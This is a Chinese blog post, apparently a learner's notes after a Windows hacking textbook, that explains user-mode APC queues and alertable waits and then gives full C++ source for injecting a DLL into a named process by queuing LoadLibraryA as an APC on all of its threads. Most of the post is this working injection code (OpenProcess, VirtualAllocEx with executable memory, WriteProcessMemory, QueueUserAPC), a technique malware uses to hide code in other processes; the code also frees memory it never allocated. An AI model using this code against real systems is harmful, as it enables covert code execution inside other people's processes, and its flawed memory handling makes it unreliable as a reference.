KAPU  
APC: 异步过程调用。每个线程都有一个APC队列,队列里都是APC函数
            用户 Apc严格在用户模式和仅当前线程处于可报警等待状态时运行。
用户模式?
    用户模式下的应用程序,每一个进程都有自己独立 虚拟地址空间和句柄表,互不影响
    内核模式下,所有代码都运行在一个虚拟地址空间
 
可报警等待状态?
    就是线程暂时没有重要的事情要做。APC函数一般不会去干扰(中断)线程的运行,一个线程附带着两个APC队列(用户APC、系统APC),也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的(APC函数就相当于奥运会比赛上的预备选手),只有当线程处于“可警告的线程等待状态”才会去调用APC函数(比赛时只有主将无法上场时,预备选手才会出现)。
    当系统调用下面函数时,就认为线程暂时没有重要的事情要做,处于可报警状态
    调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于可警告的线程等待状态
 
QueueUserAPC函数把一个APC对象加入到指定线程的APC队列中。
                        从函数名称,也应该能推测到一个线程其实有两个APC队列:用户APC、系统APC。
 
Windows APC函数是被按照先进先出(FIFO)顺序放置在一个队列Queue上面的。同时,用户APC函数极为特别,它只有在线程处于“可警告的线程等待状态”时才能被线程调用。但是,线程一旦开始调用APC函数,就会一次性将所有APC队列上的函数全部执行完毕
 
APC注入:先通过QueueUserAPC(LoadLibrary, hThread, DllBaseAddress)函数把APC函数入队
                 当进程处于可报警等待状态时,调用APC函数,
                 第一个参数LoadLibrary是APC函数的执行函数,APC函数一旦执行,就跳转到LoadLibrary函数地址开始执行   
                 第二个参数hThread线程句柄,表示在这个线程中插入APC
                 第三个DllBaseAddress,是传递给执行函数的参数,即LoadLibrary(DllBaseAddress)
                 就加载了我们的dll
 
获取某个进程的所有线程Tid
 
 
代码入下
#include <Windows.h>
#include <iostream>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
 
BOOL ApcInjectDll(char *pszProcessName, char *pszDllFileName);
DWORD GetProcessIdByName(TCHAR *pProcess);
BOOL GetAllThreadIdByProcessId(DWORD dwProcessID, DWORD** ppThreadIdList,  LPDWORD pThreadIdListLength);
 
using namespace std;
 
int main() {
       char proc[20];
       cin.get(proc, 20);    //输入我们要查找的进程名
 
       if (ApcInjectDll(proc,  "C:\\Users\\86132\\source\\repos\\CreateRemoteThreadDll\\x64\\Release\\CreateRemoteThreadDll.dll"))
             printf("Inject Success");
       else
             printf("Inject Fail");
       system("pause");
}
 
BOOL ApcInjectDll(char *pszProcessName, char *pszDllFileName) {
       //获取进程pid
       DWORD Pid = GetProcessIdByName(pszProcessName);    //pszProcessName:进程名
       if (NULL == Pid) {
             return FALSE;
       }
       //获取进程中所有线程id
       LPDWORD pThreadIdList;            //声明一个作用在程序后边的线程Tid的列表
       DWORD dwThreadIdListLength;        //声明Tid列表的长度                        这两个声明可以看作是全局的
       BOOL bRet = GetAllThreadIdByProcessId(Pid, &pThreadIdList,  &dwThreadIdListLength);    //参数:1、进程号  2、线程号列表   3、线程列表长度
       if (!bRet) {
             MessageBoxA(NULL, "GetAllThreadIdByProcessId", "提示", MB_OK);
             return FALSE;
       }
       return TRUE;
}
//根据进程名获取进程pid
DWORD GetProcessIdByName(TCHAR *pProcess)
{
       DWORD ProcessId = NULL;
       PROCESSENTRY32 lppe;             //进程快照信息结构体
       lppe.dwSize = sizeof(lppe);             //进程快照大小
       HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,  NULL);       //拍摄进程快照
       if (hProcessSnap == INVALID_HANDLE_VALUE)                      //拍摄失败返回INVALID_HANDLE_VALUE
       {
             MessageBoxA(NULL, "CreateToolhelp32Snapshot", "提示", MB_OK);
             return NULL;
       }
       BOOL bMore = ::Process32First(hProcessSnap, &lppe);                //获取第一个进程,参数是:1、进程快照  2、进程结构体
       while (bMore) {
             if (strcmp(lppe.szExeFile, pProcess) == 0) {                 //szExeFile:进程结构体中可执行文件的名称,strcmp:比较两个字符串是否相等
                    ProcessId = lppe.th32ProcessID;                       //相等返回0;th32ProcessID:结构体中进程id
                    break;
             }
             bMore = ::Process32Next(hProcessSnap, &lppe);               //查找下一个进程
       }
       ::CloseHandle(hProcessSnap);
       return ProcessId;
}
//根据pid获取线程pid
BOOL GetAllThreadIdByProcessId(DWORD dwProcessID, DWORD** ppThreadIdList,  LPDWORD pThreadIdListLength){
       DWORD dwThreadIdListLength = 0;        //初始化线程列表长度为0
       DWORD dwThreadIdListMaxCount = 2000;        //声明并初始化,线程列表最大长度为2000,即最多允许进程里有2000个线程
       LPDWORD pThreadIdList = NULL;            //初始化线程列表为空
       pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount *  sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);        //为线程列表申请内存,大小为2000*sizeof(DWORD)
       THREADENTRY32 te32 = { sizeof(te32) };                //初始化线程快照结构体的大小,如果不初始化大小,Thread32First会失败
       HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,  dwProcessID);        //为这一进程id建立线程快照
       BOOL bRet = Thread32First(hThreadSnap, &te32);        //获取进程快照中第一个线程
       while (bRet)
       {
             if (te32.th32OwnerProcessID == dwProcessID)            //但前线程的所属进程如果是我们要查的进程的话,进入里面。不是的话,查找下一个线程。
             {                                                       //这里有点疑问,创建线程快照时,不是已经指定pid了,为什么还创建了那么多不是这个pid的线程 
                    if (dwThreadIdListLength >= dwThreadIdListMaxCount)        //如果进程列表满了,就停止执行
                    {
                           break;
                    }
                    printf("%d\n", te32.th32ThreadID);            //输出获取到的线程Tid
                    pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;        //把当前线程放入线程列表中,同时线程列表长度+1
             }
             bRet = Thread32Next(hThreadSnap, &te32);        //查找下一个线程
       }
       *pThreadIdListLength = dwThreadIdListLength;        //*pThreadIdListLength指针指向线程列表长度
       *ppThreadIdList = pThreadIdList;                //*ppThreadIdList指向线程列表
       return TRUE;
}
 
使用APC注入进程
 
代码如下
#include <Windows.h>
#include <iostream>
#include <stdio.h>
#include <tlhelp32.h>
#include <tchar.h>
BOOL ApcInjectDll(char *pszProcessName, char *pszDllFileName);
DWORD GetProcessIdByName(TCHAR *pProcess);
BOOL GetAllThreadIdByProcessId(DWORD dwProcessID, DWORD** ppThreadIdList,  LPDWORD pThreadIdListLength);
using namespace std;
int main() {
       char proc[20];
       cin.get(proc, 20);
       if (ApcInjectDll(proc,  "C:\\Users\\86132\\source\\repos\\CreateRemoteThreadDll\\x64\\Release\\CreateRemoteThreadDll.dll"))
             printf("Inject Success");
       else
             printf("Inject Fail");
       system("pause");
}
BOOL ApcInjectDll(char *pszProcessName, char *pszDllFileName) {
       LPDWORD pThreadIdList;        //线程列表
       DWORD dwThreadIdListLength;        //线程列表长度
       HANDLE hProcess = NULL;            //进程句柄
       LPVOID pBaseAddress = NULL;        //DLL加载到内存后返回的基地址
       DWORD dwSize = 0;            //dll的大小
       SIZE_T dwRet = 0;            //向内存中写入dll的字节数
       FARPROC pLoadLibraryAFunc = NULL;        //LoadLibraryA函数的地址
 
       //获取进程pid
       DWORD Pid = GetProcessIdByName(pszProcessName);
       if (NULL == Pid) {
             return FALSE;
       }
 
       //获取进程中所有线程id
       BOOL bRet = GetAllThreadIdByProcessId(Pid, &pThreadIdList,  &dwThreadIdListLength);
       if (!bRet) {
             MessageBoxA(NULL, "GetAllThreadIdByProcessId", "提示", MB_OK);
             return FALSE;
       }
       //打开注入进程
       hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
       if (NULL == hProcess) {
             MessageBoxA(NULL, "OpenProcess", "提示", MB_OK);
             return FALSE;
       }
       //在注入的进程空间申请内存
       dwSize = 1 + ::lstrlenA(pszDllFileName);
       pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT |  MEM_RESERVE, PAGE_EXECUTE_READWRITE);
       if (NULL == pBaseAddress) {
             MessageBoxA(NULL, "VirtualAllocEx", "提示", MB_OK);
             return FALSE;
       }
       //向申请的内存空间中写入DLL
       ::WriteProcessMemory(hProcess, pBaseAddress, pszDllFileName, dwSize,  &dwRet);    //dwRet是向内存空间中写入dll的字节数
       if (dwRet != dwSize) {        //如果写入的字节数dwRet 不等于 dll的大小dwSize  说明写入失败
             MessageBoxA(NULL, "WriteProcessMemory", "提示", MB_OK);
             return FALSE;
       }
       //获取LoadLibrary的地址
       pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"),  "LoadLibraryA");
       if (NULL == pLoadLibraryAFunc) {
             MessageBoxA(NULL, "GetProcAddress", "提示", MB_OK);
             return FALSE;
       }
             //循环每一个线程Tid,把APC函数添加到指定线程的APC队列
       for ( size_t i = 0; i < dwThreadIdListLength; i++) {
             HANDLE hThread = NULL;
             hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE,  pThreadIdList[i]);        //获取线程Tid的线程句柄
             if (hThread) {
                    ::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread,  (ULONG_PTR)pBaseAddress);    
                    ::CloseHandle(hThread);
                    hThread = NULL;
             }
       }
       VirtualFree(pszDllFileName, 0, MEM_RELEASE);        //释放DLL名的内存空间
       VirtualFree(pszProcessName, 0, MEM_RELEASE);        //释放进程名的内存空间
       //ExitProcess(0);
       return TRUE;
}
//根据进程名获取进程pid
DWORD GetProcessIdByName(TCHAR *pProcess)
{
       DWORD ProcessId = NULL;
       PROCESSENTRY32 lppe;             //进程快照信息结构体
       lppe.dwSize = sizeof(lppe);             //进程快照大小
       HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,  NULL);       //拍摄进程快照
       if (hProcessSnap == INVALID_HANDLE_VALUE)                                                                  //拍摄失败返回INVALID_HANDLE_VALUE
       {
             MessageBoxA(NULL, "CreateToolhelp32Snapshot", "提示", MB_OK);
             return NULL;
       }
       BOOL bMore = ::Process32First(hProcessSnap, &lppe);                //获取第一个进程
       while (bMore) {
             if (strcmp(lppe.szExeFile, pProcess) == 0) {                 //szExeFile:进程结构体中可执行文件的名称,strcmp:比较两个字符串是否相等
                    ProcessId = lppe.th32ProcessID;                                     //相等返回0;th32ProcessID:结构体中进程id
                    break;
             }
             bMore = ::Process32Next(hProcessSnap, &lppe);               //查找下一个进程
       }
       ::CloseHandle(hProcessSnap);
       return ProcessId;
}
//获取pid的线程Tid
BOOL GetAllThreadIdByProcessId(DWORD dwProcessID, DWORD** ppThreadIdList,  LPDWORD pThreadIdListLength){
       //DWORD dwThreadID;
       DWORD dwThreadIdListLength = 0;
       DWORD dwThreadIdListMaxCount = 2000;
       LPDWORD pThreadIdList = NULL;
       pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount *  sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
       THREADENTRY32 te32 = { sizeof(te32) };
       HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,  dwProcessID);//为这一进程id建立线程快照
       BOOL bRet = Thread32First(hThreadSnap, &te32);
       while (bRet)
       {
             if (te32.th32OwnerProcessID == dwProcessID)
             {
                    if (dwThreadIdListLength >= dwThreadIdListMaxCount)
                    {
                           break;
                    }
                    printf("%d\n", te32.th32ThreadID);
                    pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
             }
             bRet = Thread32Next(hThreadSnap, &te32);
       }
       *pThreadIdListLength = dwThreadIdListLength;
       *ppThreadIdList = pThreadIdList;
       return TRUE;
}
 
参考
《windows黑客编程技术详解》
posted on 2020-01-14 18:17  Vegitable_Bird  阅读(314)  评论(0编辑  收藏  举报